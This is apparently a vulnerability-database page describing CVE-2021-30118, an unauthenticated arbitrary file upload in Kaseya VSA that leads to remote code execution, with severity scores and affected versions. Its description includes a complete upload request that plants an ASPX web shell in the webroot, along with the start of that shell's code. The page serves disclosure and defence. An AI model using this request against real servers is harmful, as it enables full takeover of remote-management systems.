CVE-2021-30118 Vulnerability Analysis & Exploit Details

CVE-2021-30118
Vulnerability Scoring

9.8
/10
Critical Risk

As a catastrophic security flaw, CVE-2021-30118 has severe implications, demanding immediate intervention.

Attack Complexity Details

  • Attack Complexity: Low
    Exploits can be performed without significant complexity or special conditions.
  • Attack Vector: Network
    Vulnerability is exploitable over a network without physical access.
  • Privileges Required: None
    No privileges are required for exploitation.
  • Scope: Unchanged
    Exploit remains within the originally vulnerable component.
  • User Interaction: None
    No user interaction is necessary for exploitation.

CVE-2021-30118 Details

Status: Modified

Last updated: 🕕 21 Nov 2024, 06:03 UTC
Originally published on: 🕑 09 Jul 2021, 14:15 UTC

Time between publication and last update: 1230 days

CVSS Release: version 3

CVSS3 Source

cve@mitre.org

CVSS3 Type

Secondary

CVSS3 Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2021-30118 Vulnerability Summary

CVE-2021-30118: An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Assessing the Risk of CVE-2021-30118

Access Complexity Graph

The exploitability of CVE-2021-30118 depends on two key factors: attack complexity (the level of effort required to execute an exploit) and privileges required (the access level an attacker needs).

Exploitability Analysis for CVE-2021-30118

With low attack complexity and no required privileges, CVE-2021-30118 is an easy target for cybercriminals. Organizations should prioritize immediate mitigation measures to prevent unauthorized access and data breaches.

Understanding AC and PR

A lower complexity and fewer privilege requirements make exploitation easier. Security teams should evaluate these aspects to determine the urgency of mitigation strategies, such as patch management and access control policies.

Attack Complexity (AC) measures the difficulty in executing an exploit. A high AC means that specific conditions must be met, making an attack more challenging, while a low AC means the vulnerability can be exploited with minimal effort.

Privileges Required (PR) determine the level of system access necessary for an attack. Vulnerabilities requiring no privileges are more accessible to attackers, whereas high privilege requirements limit exploitation to authorized users with elevated access.

CVSS Score Breakdown Chart

Above is the CVSS Sub-score Breakdown for CVE-2021-30118, illustrating how Base, Impact, and Exploitability factors combine to form the overall severity rating. A higher sub-score typically indicates a more severe or easier-to-exploit vulnerability.

CIA Impact Analysis

Below is the Impact Analysis for CVE-2021-30118, showing how Confidentiality, Integrity, and Availability might be affected if the vulnerability is exploited. Higher values usually signal greater potential damage.

  • Confidentiality: High
    Exploiting CVE-2021-30118 can result in unauthorized access to sensitive data, severely compromising data privacy.
  • Integrity: High
    CVE-2021-30118 could allow unauthorized modifications to data, potentially affecting system reliability and trust.
  • Availability: High
    CVE-2021-30118 can disrupt system operations, potentially causing complete denial of service (DoS).

Exploit Prediction Scoring System (EPSS)

The EPSS score estimates the probability that this vulnerability will be exploited in the near future.

EPSS Score: 0.281% (probability of exploit)

EPSS Percentile: 68.77% (lower percentile = lower relative risk)
This vulnerability is less risky than approximately 31.230000000000004% of others.

CVE-2021-30118 References

External References

CWE Common Weakness Enumeration

CWE-434

CAPEC Common Attack Pattern Enumeration and Classification

  • Accessing Functionality Not Properly Constrained by ACLs CAPEC-1 In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

Vulnerable Configurations

  • cpe:2.3:a:kaseya:vsa:-:*:*:*:-:*:*:*
    cpe:2.3:a:kaseya:vsa:-:*:*:*:-:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.1.0.10:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.1.0.10:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.1.0.11:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.1.0.11:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.8:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.8:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.9:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.9:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.10:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.10:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.11:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.11:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.12:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.12:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.14:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.14:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.15:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.15:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.16:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.16:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.17:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.17:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.18:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.18:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.19:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.19:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.20:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.20:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.21:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.21:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.22:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.22:*:*:*:rmm:*:*:*
  • cpe:2.3:a:kaseya:vsa:9.5.0.23:*:*:*:rmm:*:*:*
    cpe:2.3:a:kaseya:vsa:9.5.0.23:*:*:*:rmm:*:*:*

Protect Your Infrastructure against CVE-2021-30118: Combat Critical CVE Threats

Stay updated with real-time CVE vulnerabilities and take action to secure your systems. Enhance your cybersecurity posture with the latest threat intelligence and mitigation techniques. Develop the skills necessary to defend against CVEs and secure critical infrastructures. Join the top cybersecurity professionals safeguarding today's infrastructures.

Other 5 Recently Published CVEs Vulnerabilities

  • CVE-2025-3275 – The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider widget in all versions up...
  • CVE-2025-1457 – The Element Pack Addons for Elementor – Free Templates and Widgets for Your WordPress Websites plugin for WordPress is vulnerable to Stored Cross-S...
  • CVE-2025-1093 – The AIHub theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the generate_image function in all ver...
  • CVE-2025-3284 – The User Registration & Membership – Custom Registration Form, Login Form, and User Profile plugin for WordPress is vulnerable to Cross-Site Reques...
  • CVE-2025-3278 – The UrbanGo Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.0.4. This is due to the plugi...